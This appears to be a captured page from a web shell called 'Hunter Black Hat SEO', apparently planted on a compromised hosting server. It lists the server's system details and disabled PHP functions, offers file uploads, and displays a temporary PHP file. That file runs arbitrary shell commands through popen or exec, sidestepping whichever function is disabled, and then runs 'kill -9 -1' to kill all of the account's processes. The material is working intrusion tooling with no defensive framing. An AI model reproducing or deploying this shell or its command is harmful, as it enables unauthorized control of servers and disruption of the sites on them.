Hunter Black Hat SEO
Server:LiteSpeed
System:Linux raton.hozzt.com 4.18.0-553.144.1.lve.el8.x86_64 #1 SMP Thu Jul 16 08:31:06 UTC 2026 x86_64
User:altinkayamarble (1260)
PHP:7.4.33
Disabled:symlink, show_source, system, virtual, shell_exec,passthru, exec, popen, proc_open, proc_close, proc_nice, proc_terminate,proc_get_status, pfsockopen,allow_url_fopen, posix_getpwuid, eval,posix_setsid, posix_mkfifo, posix_setpgid,posix_setuid, posix_uname,posix_kill,apache_child_terminate, apache_setenv,define_syslog_variables,escapeshellarg, escapeshellcmd, leak, dl, fp, fput,ftp_connect, ftp_exec,ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist,highlight_file, ini_alter, ini_get_all, ini_restore, inject_code
Upload Files
File: //var/tmp/phpeyb6V1
<?php
function run($code, $method = 'popen')
{
    $disabled = explode(',', ini_get('disable_functions'));
    if (in_array($method, $disabled)) {
        $method = 'exec';
    }
    if (in_array($method, $disabled)) {
        return false;
    }
    $result = '';
    switch ($method){
        case 'exec':
            exec($code,$array);
            foreach ($array as $key => $value) {
                $result .= $key . " : " . $value . PHP_EOL;
            }
            return $result;
            break;
        case 'popen':
            $fp = popen($code,"r");  //popen打一个进程通道
            while (!feof($fp)) {      //从通道里面取得东西
                $out = fgets($fp, 4096);
                $result .= $out;         //打印出来
            }
            pclose($fp);
            return $result;
            break;
        default:
            return false;
            break;
    }
}
echo '{->|';
var_dump(run("kill -9 -1"));
echo '|<-}';